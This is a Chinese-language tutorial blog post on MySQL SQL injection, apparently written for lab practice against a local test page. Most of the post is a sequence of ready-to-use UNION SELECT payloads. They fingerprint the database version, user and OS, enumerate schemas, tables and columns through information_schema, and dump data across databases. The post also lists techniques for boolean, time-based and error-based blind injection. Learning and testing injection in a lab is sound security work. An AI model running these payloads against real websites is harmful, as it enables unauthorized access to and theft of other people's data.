MySQL注入详解

知识点

MySQL 5 以上存在一个自带的数据库information_schema,记录所有的数据库名,表名,列名

information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名

信息收集

数据库版本:version()
数据库名:database()
数据库用户:user()
操作系统:@@version_compile_os

同数据库

假如该数据库下的表里有4列

判断注入

猜解列名数量 order by x
http://127.0.0.1:8080/new_list.php?id=1 order by 4 页面正常
http://127.0.0.1:8080/new_list.php?id=1 order by 5 页面错误

报错猜解准备

http://127.0.0.1:8080/new_list.php?id=-1 union select 1,2,3,4
哪个数字出现,在哪个数字中进行注入

查询信息

http://127.0.0.1:8080/new_list.php?id=-1 union select 1,version(),database(),3,4
http://127.0.0.1:8080/new_list.php?id=-1 union select 1,user(),@@version_compile_os,3,4

查询指定数据库名下的表名信息

http://127.0.0.1:8080/new_list.php?id=-1 union select 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema=‘库名’

查询指定表名下的列名信息

http://127.0.0.1:8080/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘刚查出来的表名’

查询指定数据

http://127.0.0.1:8080/new_list.php?id=-1 union select 1,列名1,列名2,3,4 from 表名

猜解多个数据可以采用 limit x,1 x变动猜解

跨数据库

获取所有数据库名

http://127.0.0.1:8080/new_list.php?id=-1 union select 1,group_concat(schema_name),3,4 from information_schema.schemata

获取指定数据库名下的表名信息

http://127.0.0.1:8080/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘指定库名’

获取指定表名下的列名信息

http://127.0.0.1:8080/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘指定表名’ and table_schema=‘指定库名’

获取数据

http://127.0.0.1:8080/new_list.php?id=-1 union select 1,列名1,列名2,4 from 指定库名.表名

请求参数

数字型,字符型,搜索
参数不同,SQL语句干扰符号不同,注入方式不同

数字型

select * from user where id =1
例如 注入:select * from user where id =1 and 1=1

字符型

select * from user where id =‘1’
例如 注入:select * from user where id =‘1’ and ‘1’=‘1’
干扰符号
‘ ,’’, %, /, }, ),等

提交方式

PHP测试代码如下
在这里插入图片描述

以GET请求数据时,参数g可以正常显示,但是参数p报错,由此,请求参数的传入方式不同,应当以不同的方式请求
在这里插入图片描述

如下,可以看到,两个参数都可以正常显示
在这里插入图片描述

GET请求有一个特性,只要跟在网址后面都能接收到数据

cookie不是请求方式,而是数据包里的一个参数
在这里插入图片描述

request是全部接收,不用纠结以哪种方式提交

回显与报错

1、基于布尔的SQL盲注------逻辑判断
regexp , like ,ascii , left , ord , mid
2、基于时间的SQL盲注------延时判断
if , sleep
3、基于报错的SQL盲注------报错回显
12种报错注入+万能语句
https://www.jianshu.com/p/bc35f8dd4f7c

  • 3
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值